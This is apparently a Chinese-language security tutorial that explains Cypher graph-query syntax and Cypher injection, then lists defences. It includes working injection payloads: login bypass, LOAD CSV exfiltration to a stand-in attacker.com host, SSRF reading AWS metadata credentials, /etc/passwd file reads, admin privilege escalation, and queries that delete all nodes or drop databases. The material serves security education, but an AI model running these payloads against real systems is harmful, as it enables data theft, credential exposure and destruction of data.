Cypher注入详解:原理、类型与测试方法

发布于:2025-08-15 ⋅ 阅读:(17) ⋅ 点赞:(0)

Cypher,全称为 (Open) Cypher Query Language,是一种专为图数据库设计的声明式查询语言。它以直观的模式匹配方式,帮助开发者和数据分析师从复杂的图结构数据中检索、创建和修改信息。如果说 SQL 是关系型数据库的语言,那么 Cypher 就是图数据库的语言。Cypher 最初由 Neo4j 开发,通过 openCypher 项目成为开放标准,现已被 RedisGraph、Apache Spark、Amazon Neptune 等多种图数据库采纳,成为图查询语言的事实标准之一。

本文将全面介绍 Cypher 的基础知识、语法结构以及 Cypher 注入的原理与攻击手法。


1. 图数据库与 Cypher 基础

图数据库的核心要素

与传统的关系型数据库(基于表格和行)不同,图数据库通过节点和关系的结构化方式存储数据。其核心由以下四个元素构成:

  • 节点 (Nodes):表示图中的实体,如人、书籍或公司。节点可以包含 属性 (Properties),以键值对形式存储详细信息,例如 {name: 'Alice', age: 25}
  • 关系 (Relationships):连接两个节点,描述它们之间的关联。关系具有方向和类型,例如 (Alice)-[:FRIENDS_WITH]->(Bob) 表示 Alice 与 Bob 之间的“朋友”关系。关系也可以拥有属性。
  • 属性 (Properties):存储在节点或关系中的键值对,用于附加详细信息。例如,一个 :Person 节点可能有 {name: 'Andy', title: 'Developer'}
  • 标签 (Labels):用于对节点或关系进行分类。例如,所有表示人物的节点可以打上 :Person 标签,表示公司的节点可以打上 :Company 标签,便于快速查询特定类型的实体。

一个典型的应用场景是安全分析工具 BloodHound,它利用 Neo4j 和 Cypher 的能力可视化并分析 Active Directory 中的复杂权限关系,帮助安全人员发现潜在的攻击路径。

Cypher 查询语言基础语法

Cypher 的强大之处在于其声明式和可组合的特性,通过一系列 子句 (Clauses) 构建查询,每个子句像管道一样处理数据,将前一个子句的输出传递给下一个子句。以下是 Cypher 的核心语法和子句:

查询注释

  • 行内注释// 用于单行注释。
  • 多行注释/* ... */ 用于多行注释。

核心子句详解

  1. MATCH:Cypher 的核心子句,用于匹配图中的模式,类似于 SQL 的 SELECT ... FROM,但更直观。

    // 匹配所有标签为 "Fruit" 的节点并返回
    MATCH (a:Fruit) RETURN a
    
    // 匹配具有特定属性的 "Fruit" 节点
    MATCH (a:Fruit {title: 'Green Apple'}) RETURN a
    
    // 使用 WHERE 子句进行复杂过滤
    MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a
    
    // 限制结果数量并排序
    MATCH (a:Fruit) RETURN a ORDER BY a.title DESC LIMIT 20
    

    这里的 a 是一个变量,代表匹配到的节点,类似于编程中的临时变量名,开发者可以自由命名(如 anm),用于在查询中引用节点。

  2. CREATE:用于创建新的节点和关系。

    // 创建一个空节点
    CREATE (n)
    
    // 创建带标签和属性的节点
    CREATE (n:Person {name: 'Andy', title: 'Developer'})
    
    // 创建节点后通过 SET 添加或修改属性
    CREATE (n:Account)
    SET n.id=1, n.username="admin", n.password="password123"
    RETURN n
    

    这里的 n 是节点变量,用于表示新创建的节点。

  3. UNION / UNION ALL:合并多个查询结果。UNION 会去重,UNION ALL 保留所有结果。合并的查询必须返回相同数量和名称的列。

    // 合并人员姓名和书籍标题,使用相同别名
    MATCH (n:Person) RETURN n.name AS name
    UNION
    MATCH (b:Book) RETURN b.title AS name
    

    这里的 nb 是变量,分别表示 :Person:Book 节点。

  4. WITH:将前一个子句的输出作为中间结果传递给下一个子句,常用于复杂查询或注入攻击中的查询链。

    // 匹配所有节点,排序并限制结果
    MATCH (c)
    WITH c
    ORDER BY c.Character DESC
    LIMIT 3
    RETURN collect(c.name)
    

    这里的 c 是变量,代表匹配到的节点。

  5. YIELD:在 CALL 语句中指定过程返回的字段,绑定到变量供后续使用。

    // 调用 db.labels() 获取所有标签,绑定到变量 x
    CALL db.labels() YIELD label AS x
    
  6. LOAD CSV:从本地或远程 CSV 文件导入数据,支持 HTTPSHTTPFTPfile:/// 协议,常被用于 SSRF 或任意文件读取攻击。

    // 读取本地文件,可能导致任意文件读取
    LOAD CSV FROM 'file:///etc/passwd' AS line RETURN line
    
    // 读取远程文件,可能导致数据外泄
    LOAD CSV FROM 'https://attacker.com/data.csv' AS line RETURN line
    

    这里的 line 是变量,表示 CSV 文件的每一行数据。

  7. APOC 库Awesome Procedures on Cypher 是一个 Neo4j 扩展库,提供丰富的功能,如 apoc.load.json() 用于导入 JSON 数据,apoc.util.sleep() 用于时间延迟(常用于时间盲注)。由于其强大功能,APOC 库是 Cypher 注入攻击的重要目标。


2. Cypher 注入:原理与攻击手法

Cypher 注入是一种类似于 SQL 注入的攻击方式,攻击者通过在用户可控的输入中插入恶意 Cypher 代码,改变查询的原始意图,执行未经授权的操作,如数据泄露、权限提升或拒绝服务。

Cypher 注入的分类

根据攻击者与数据库交互的方式,Cypher 注入可分为以下几类:

  1. 带内注入 (In-band):攻击者通过同一通道注入代码并直接获取结果。
    • 基于错误 (Error-based):通过构造恶意输入触发数据库错误,推断数据库结构或泄露数据。
  2. 推断型盲注 (Inferential Blind):攻击者无法直接看到结果,但通过应用程序的行为推断信息。
    • 基于布尔值 (Boolean-based):通过注入 OR 1=1OR 1=0,观察响应差异。
    • 基于时间 (Time-based):通过 apoc.util.sleep() 等延迟函数,判断注入是否成功。
  3. 带外注入 (Out-of-band):利用 LOAD CSV 等功能使数据库向攻击者控制的服务器发送请求,实现数据外泄或 SSRF。

与 SQL 注入相比,Cypher 注入有以下特点:

  • 无“表”概念:无法直接通过 UNION 从其他“表”获取数据,但可合并不同查询结果。
  • 时间盲注需依赖 APOC:Cypher 本身无 sleep 函数,需使用 apoc.util.sleep()
经典注入攻击示例

以下是一些典型的 Cypher 注入攻击,展示如何利用漏洞实现恶意目的。

示例 1:简单带内注入 - 绕过查询限制

原始查询(以 NodeJS 应用为例):

executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

攻击载荷

Spongebob' or 1=1 RETURN c//

最终查询

MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c

分析

  • ' 闭合字符串,注入 or 1=1 使条件永真。
  • // 注释掉后续内容,返回所有 :Character 节点,绕过查询限制。

示例 2:带外注入 - 数据外泄

原始查询

MATCH (p:Person) WHERE id(p) = 42 RETURN p

攻击载荷

42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r

最终查询

MATCH (p:Person) WHERE id(p) = 42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r RETURN p

分析

  • CALL db.labels() 获取所有标签。
  • LOAD CSV FROM 'https://attacker.com/' + label 将每个标签发送到攻击者服务器。
  • 变量 r 表示 LOAD CSV 的返回数据(通常为空或 CSV 内容)。

示例 3:OPTIONAL MATCH 泄露所有节点

攻击载荷

1 OPTIONAL MATCH (m) RETURN m AS n //

分析

  • OPTIONAL MATCH (m) 匹配图中所有节点(包括无标签节点),即使没有匹配也不会报错。
  • RETURN m AS n 将所有节点重命名为 n 返回。
  • 变量 m 表示匹配到的节点,n 是输出别名。
  • 效果:可能泄露整个数据库的节点数据,适用于带内注入场景。
构建恶意载荷的技巧
  1. 注入上下文分析:根据注入点的位置(字符串、括号等),使用 '")} 闭合原始查询。
  2. 利用注释:通过 ///* ... */ 注释掉不需要的查询部分(如 LIMITRETURN)。
  3. WITH 子句:在 CREATE 等子句中注入 WITH 1337 AS y 跳出上下文,追加恶意子句。
  4. URL 编码:在 HTTP 请求中,确保空格、引号等特殊字符被正确编码(如 %20%27)。

3. 漏洞检测与利用实战

检测 Cypher 注入漏洞
  1. 基于错误检测
    • 输入 '",观察是否触发语法错误。
    • 输入 1/0,触发运行时错误,分析错误信息以获取数据库结构或版本。
  2. 盲注检测
    • 数学运算:在数字参数中注入 41+2-1,若响应与 42 相同,可能存在注入。
    • 布尔值:注入 ' or 1=1//' or 1=0//,观察响应差异。
  3. 带外检测
    • 使用 LOAD CSV 向攻击者控制的服务器(如 Burp Collaborator)发送请求。
    • 示例:1 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS b RETURN b//
      • 变量 b 表示 LOAD CSV 的返回数据。
丰富的利用载荷

以下是针对不同攻击目标的 Cypher 注入载荷,涵盖认证绕过、数据泄露、SSRF、权限提升和拒绝服务。

认证绕过

  • 载荷' or 1=1//
  • 场景:登录表单,绕过用户名或密码验证。
  • 效果:使条件永真,返回所有匹配节点。

数据泄露(带内)

  • 泄露所有标签

    ' RETURN 1 AS x UNION CALL db.labels() YIELD label AS x RETURN x//
    
    • 变量 x 表示返回的标签名。
  • 泄露指定标签的属性

    ' RETURN 1 AS x UNION MATCH (c:Character) RETURN DISTINCT keys(c) AS x//
    
    • 变量 c 表示 :Character 节点,x 表示属性键。
  • 泄露属性值

    ' RETURN 1 AS x UNION MATCH (c:Character) RETURN c.name AS x//
    
    • 变量 x 表示节点属性 name 的值。

数据泄露(带外)

  • 泄露所有标签

    ' CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/'+label AS b RETURN b//
    
    • 变量 b 表示 LOAD CSV 的返回数据。
  • 泄露属性值(需 APOC 库):

    ' MATCH (c:Character) LOAD CSV FROM 'https://attacker.com/'+c.name AS b RETURN b//
    
    • 变量 b 表示 LOAD CSV 的返回数据。

SSRF 与任意文件读取

  • 泄露内部服务

    LOAD CSV FROM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" AS x
    LOAD CSV FROM "https://attacker.com/"+x[0] AS y
    RETURN ''//
    
    • 变量 x 表示 AWS 元数据,y 表示外泄数据。
  • 任意文件读取

    ' RETURN n UNION LOAD CSV FROM "file:///etc/passwd" AS n RETURN n //
    
    • 变量 n 表示文件内容。

权限提升

  • 原始查询
    CREATE (n:Account) SET n.password="{注入点}"
    
  • 攻击载荷", n.admin=True RETURN n//
  • 最终查询
    CREATE (n:Account) SET n.password="", n.admin=True RETURN n //
    
    • 变量 n 表示创建的账户节点,注入后提升为管理员。

拒绝服务 (DoS)

  • 删除所有节点

    ' MATCH (all) DETACH DELETE all//
    
    • 变量 all 表示所有节点。
  • 删除数据库

    ' USE system CALL dbms.listDatabases() YIELD name WHERE name <> 'system' CALL { WITH name DROP DATABASE name } IN TRANSACTIONS RETURN 1 //
    
    • 变量 name 表示数据库名称。

4. 防御 Cypher 注入

  1. 参数化查询:使用参数化查询(prepared statements)代替字符串拼接。例如:
    executeQuery("MATCH (c:Character) WHERE c.name = $name RETURN c", { name: userInput })
    
  2. 输入验证和清理:严格验证用户输入,过滤特殊字符(如 '", //)。
  3. 最小权限原则:限制数据库用户的权限,避免执行高危操作(如 DETACH DELETEDROP DATABASE)。
  4. 禁用 APOC 高危功能:限制 apoc.util.sleep() 等函数,防止时间盲注。
  5. 限制 LOAD CSV:禁用 file:// 协议,限制外部网络请求。
  6. 错误信息隐藏:避免返回详细的数据库错误信息。

总结

Cypher 是一种强大且直观的图查询语言,广泛应用于图数据库中,但其灵活性也带来了 Cypher 注入 的风险。攻击者可以通过注入恶意代码实现认证绕过、数据泄露、SSRF、权限提升甚至拒绝服务。变量如 mnb 是查询中的临时标识符,具体含义取决于上下文,例如在 OPTIONAL MATCH (m) RETURN m AS n // 中,m 表示所有节点,n 是输出别名,可能导致整个数据库内容泄露。通过理解 Cypher 的语法和注入原理,开发者可以更好地检测和防御漏洞,而安全研究人员则能更有效地发现和利用潜在风险。


网站公告

今日签到

点亮在社区的每一天
去签到